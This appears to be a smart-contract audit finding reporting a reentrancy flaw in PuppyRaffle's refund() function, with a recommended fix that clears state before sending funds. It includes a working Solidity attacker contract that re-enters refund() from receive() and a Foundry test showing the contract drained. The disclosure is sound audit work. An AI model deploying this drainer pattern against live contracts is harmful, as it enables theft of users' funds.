Summary
A malicious smart contract can call refund()
and drain all the funds from PuppyRaffle
.
Vulnerability Details
It's possible to reenter refund()
with the following attacker's smart contract:
pragma solidity ^0.7.6;
import "./PuppyRaffle.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import "forge-std/console.sol";
contract Attack {
address private immutable puppyRaffleAddress;
constructor(address _puppyRaffleAddress) {
puppyRaffleAddress = _puppyRaffleAddress;
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return 0x150b7a02;
}
receive() external payable {
if ((puppyRaffleAddress).balance > 0.2 ether) {
PuppyRaffle(puppyRaffleAddress).refund(3);
}
}
}
Here is a test for the attack:
Attack attack1;
Attack attack2;
Attack attack3;
Attack attack4;
...
function setUp() public {
puppyRaffle = new PuppyRaffle(
entranceFee,
feeAddress,
duration
);
attack1 = new Attack(address(puppyRaffle));
attack2 = new Attack(address(puppyRaffle));
attack3 = new Attack(address(puppyRaffle));
attack4 = new Attack(address(puppyRaffle));
}
function testCanPerformReentrancyAttack() public {
address[] memory players = new address[](4);
players[0] = address(attack1);
players[1] = address(attack2);
players[2] = address(attack3);
players[3] = address(attack4);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
console.log("PuppyRaffle balance before: %s", address(puppyRaffle).balance);
console.log("Attacker balance before: %s", address(attack4).balance);
vm.prank(address(attack4));
puppyRaffle.refund(3);
console.log("PuppyRaffle balance after: %s", address(puppyRaffle).balance);
console.log("Attacker balance after: %s", address(attack4).balance);
}
Impact
High. The attacker can steal all the funds.
Tools Used
Manual check.
Recommendations
...
players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
...